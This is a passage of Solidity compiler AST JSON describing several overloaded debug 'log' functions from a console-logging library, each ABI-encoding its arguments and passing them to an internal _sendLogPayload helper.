view"}},"id":20260,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38363:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20261,"nodeType":"ExpressionStatement","src":"38363:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38290:3:14","parameters":{"id":20249,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20242,"mutability":"mutable","name":"p0","nameLocation":"38308:2:14","nodeType":"VariableDeclaration","scope":20263,"src":"38294:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20241,"name":"string","nodeType":"ElementaryTypeName","src":"38294:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20244,"mutability":"mutable","name":"p1","nameLocation":"38317:2:14","nodeType":"VariableDeclaration","scope":20263,"src":"38312:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20243,"name":"bool","nodeType":"ElementaryTypeName","src":"38312:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20246,"mutability":"mutable","name":"p2","nameLocation":"38326:2:14","nodeType":"VariableDeclaration","scope":20263,"src":"38321:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20245,"name":"bool","nodeType":"ElementaryTypeName","src":"38321:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20248,"mutability":"mutable","name":"p3","nameLocation":"38335:2:14","nodeType":"VariableDeclaration","scope":20263,"src":"38330:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20247,"name":"uint","nodeType":"ElementaryTypeName","src":"38330:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"38293:45:14"},"returnParameters":{"id":20250,"nodeType":"ParameterList","parameters":[],"src":"38353:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20286,"nodeType":"FunctionDefinition","src":"38462:186:14","nodes":[],"body":{"id":20285,"nodeType":"Block","src":"38543:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c2c737472696e6729","id":20277,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38593:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9d22d5dd5fa6b44920526f32944af8a0b12651bcfe7d5e4d9330573146eaf058","typeString":"literal_string \"log(string,bool,bool,string)\""},"value":"log(string,bool,bool,string)"},{"id":20278,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20265,"src":"38625:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20279,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20267,"src":"38629:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20280,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20269,"src":"38633:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20281,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20271,"src":"38637:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9d22d5dd5fa6b44920526f32944af8a0b12651bcfe7d5e4d9330573146eaf058","typeString":"literal_string \"log(string,bool,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20275,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38569:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20276,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38573:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38569:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20282,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38569:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20274,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"38553:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20283,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38553:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20284,"nodeType":"ExpressionStatement","src":"38553:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38471:3:14","parameters":{"id":20272,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20265,"mutability":"mutable","name":"p0","nameLocation":"38489:2:14","nodeType":"VariableDeclaration","scope":20286,"src":"38475:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20264,"name":"string","nodeType":"ElementaryTypeName","src":"38475:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20267,"mutability":"mutable","name":"p1","nameLocation":"38498:2:14","nodeType":"VariableDeclaration","scope":20286,"src":"38493:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20266,"name":"bool","nodeType":"ElementaryTypeName","src":"38493:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20269,"mutability":"mutable","name":"p2","nameLocation":"38507:2:14","nodeType":"VariableDeclaration","scope":20286,"src":"38502:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20268,"name":"bool","nodeType":"ElementaryTypeName","src":"38502:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20271,"mutability":"mutable","name":"p3","nameLocation":"38525:2:14","nodeType":"VariableDeclaration","scope":20286,"src":"38511:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20270,"name":"string","nodeType":"ElementaryTypeName","src":"38511:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"38474:54:14"},"returnParameters":{"id":20273,"nodeType":"ParameterList","parameters":[],"src":"38543:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20309,"nodeType":"FunctionDefinition","src":"38654:175:14","nodes":[],"body":{"id":20308,"nodeType":"Block","src":"38726:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c2c626f6f6c29","id":20300,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38776:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_895af8c5b50078ceec3119054e20583155eeb3e1a8f56b8ed56efbec57456ad2","typeString":"literal_string \"log(string,bool,bool,bool)\""},"value":"log(string,bool,bool,bool)"},{"id":20301,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20288,"src":"38806:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20302,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20290,"src":"38810:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20303,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20292,"src":"38814:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20304,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20294,"src":"38818:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_895af8c5b50078ceec3119054e20583155eeb3e1a8f56b8ed56efbec57456ad2","typeString":"literal_string \"log(string,bool,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20298,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38752:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20299,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38756:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38752:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20305,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38752:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20297,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"38736:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20306,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38736:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20307,"nodeType":"ExpressionStatement","src":"38736:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38663:3:14","parameters":{"id":20295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20288,"mutability":"mutable","name":"p0","nameLocation":"38681:2:14","nodeType":"VariableDeclaration","scope":20309,"src":"38667:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20287,"name":"string","nodeType":"ElementaryTypeName","src":"38667:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20290,"mutability":"mutable","name":"p1","nameLocation":"38690:2:14","nodeType":"VariableDeclaration","scope":20309,"src":"38685:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20289,"name":"bool","nodeType":"ElementaryTypeName","src":"38685:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20292,"mutability":"mutable","name":"p2","nameLocation":"38699:2:14","nodeType":"VariableDeclaration","scope":20309,"src":"38694:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20291,"name":"bool","nodeType":"ElementaryTypeName","src":"38694:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20294,"mutability":"mutable","name":"p3","nameLocation":"38708:2:14","nodeType":"VariableDeclaration","scope":20309,"src":"38703:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20293,"name":"bool","nodeType":"ElementaryTypeName","src":"38703:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"38666:45:14"},"returnParameters":{"id":20296,"nodeType":"ParameterList","parameters":[],"src":"38726:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20332,"nodeType":"FunctionDefinition","src":"38835:181:14","nodes":[],"body":{"id":20331,"nodeType":"Block","src":"38910:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c2c6164647265737329","id":20323,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38960:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7190a529624f3e9168945b9053b9648f6439313f31cad0801b50f9dc38a45d4d","typeString":"literal_string \"log(string,bool,bool,address)\""},"value":"log(string,bool,bool,address)"},{"id":20324,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20311,"src":"38993:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20325,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20313,"src":"38997:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20326,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20315,"src":"39001:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20327,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20317,"src":"39005:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7190a529624f3e9168945b9053b9648f6439313f31cad0801b50f9dc38a45d4d","typeString":"literal_string \"log(string,bool,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20321,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38936:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20322,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38940:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38936:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20328,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38936:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20320,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"38920:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20329,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38920:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20330,"nodeType":"ExpressionStatement","src":"38920:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38844:3:14","parameters":{"id":20318,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20311,"mutability":"mutable","name":"p0","nameLocation":"38862:2:14","nodeType":"VariableDeclaration","scope":20332,"src":"38848:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20310,"name":"string","nodeType":"ElementaryTypeName","src":"38848:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20313,"mutability":"mutable","name":"p1","nameLocation":"38871:2:14","nodeType":"VariableDeclaration","scope":20332,"src":"38866:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20312,"name":"bool","nodeType":"ElementaryTypeName","src":"38866:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20315,"mutability":"mutable","name":"p2","nameLocation":"38880:2:14","nodeType":"VariableDeclaration","scope":20332,"src":"38875:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20314,"name":"bool","nodeType":"ElementaryTypeName","src":"38875:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20317,"mutability":"mutable","name":"p3","nameLocation":"38892:2:14","nodeType":"VariableDeclaration","scope":20332,"src":"38884:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20316,"name":"address","nodeType":"ElementaryTypeName","src":"38884:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"38847:48:14"},"returnParameters":{"id":20319,"nodeType":"ParameterList","parameters":[],"src":"38910:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20355,"nodeType":"FunctionDefinition","src":"39022:181:14","nodes":[],"body":{"id":20354,"nodeType":"Block","src":"39097:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c616464726573732c75696e7429","id":20346,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39147:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_28df4e96d50017c69e64253ea877c992512b689fb9fed17cf6af78f104f1200b","typeString":"literal_string \"log(string,bool,address,uint)\""},"value":"log(string,bool,address,uint)"},{"id":20347,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20334,"src":"39180:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20348,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20336,"src":"39184:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20349,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20338,"src":"39188:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20350,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20340,"src":"39192:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_28df4e96d50017c69e64253ea877c992512b689fb9fed17cf6af78f104f1200b","typeString":"literal_string \"log(string,bool,address,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20344,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39123:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20345,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39127:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39123:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20351,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39123:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20343,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"39107:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39107:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20353,"nodeType":"ExpressionStatement","src":"39107:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39031:3:14","parameters":{"id":20341,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20334,"mutability":"mutable","name":"p0","nameLocation":"39049:2:14","nodeType":"VariableDeclaration","scope":20355,"src":"39035:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20333,"name":"string","nodeType":"ElementaryTypeName","src":"39035:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20336,"mutability":"mutable","name":"p1","nameLocation":"39058:2:14","nodeType":"VariableDeclaration","scope":20355,"src":"39053:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20335,"name":"bool","nodeType":"ElementaryTypeName","src":"39053:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20338,"mutability":"mutable","name":"p2","nameLocation":"39070:2:14","nodeType":"VariableDeclaration","scope":20355,"src":"39062:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20337,"name":"address","nodeType":"ElementaryTypeName","src":"39062:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20340,"mutability":"mutable","name":"p3","nameLocation":"39079:2:14","nodeType":"VariableDeclaration","scope":20355,"src":"39074:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20339,"name":"uint","nodeType":"ElementaryTypeName","src":"39074:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"39034:48:14"},"returnParameters":{"id":20342,"nodeType":"ParameterList","parameters":[],"src":"39097:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20378,"nodeType":"FunctionDefinition","src":"39209:192:14","nodes":[],"body":{"id":20377,"nodeType":"Block","src":"39293:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c616464726573732c737472696e6729","id":20369,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39343:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2d8e33a4e52268aad313274a8446eec6f40466a28da2456a8f12d83b298c13ef","typeString":"literal_string \"log(string,bool,address,string)\""},"value":"log(string,bool,address,string)"},{"id":20370,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20357,"src":"39378:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20371,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20359,"src":"39382:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20372,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20361,"src":"39386:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20373,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20363,"src":"39390:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2d8e33a4e52268aad313274a8446eec6f40466a28da2456a8f12d83b298c13ef","typeString":"literal_string \"log(string,bool,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20367,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39319:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20368,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39323:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39319:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20374,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39319:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20366,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"39303:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20375,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39303:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20376,"nodeType":"ExpressionStatement","src":"39303:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39218:3:14","parameters":{"id":20364,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20357,"mutability":"mutable","name":"p0","nameLocation":"39236:2:14","nodeType":"VariableDeclaration","scope":20378,"src":"39222:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20356,"name":"string","nodeType":"ElementaryTypeName","src":"39222:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20359,"mutability":"mutable","name":"p1","nameLocation":"39245:2:14","nodeType":"VariableDeclaration","scope":20378,"src":"39240:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20358,"name":"bool","nodeType":"ElementaryTypeName","src":"39240:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20361,"mutability":"mutable","name":"p2","nameLocation":"39257:2:14","nodeType":"VariableDeclaration","scope":20378,"src":"39249:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20360,"name":"address","nodeType":"ElementaryTypeName","src":"39249:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20363,"mutability":"mutable","name":"p3","nameLocation":"39275:2:14","nodeType":"VariableDeclaration","scope":20378,"src":"39261:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20362,"name":"string","nodeType":"ElementaryTypeName","src":"39261:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"39221:57:14"},"returnParameters":{"id":20365,"nodeType":"ParameterList","parameters":[],"src":"39293:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20401,"nodeType":"FunctionDefinition","src":"39407:181:14","nodes":[],"body":{"id":20400,"nodeType":"Block","src":"39482:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue"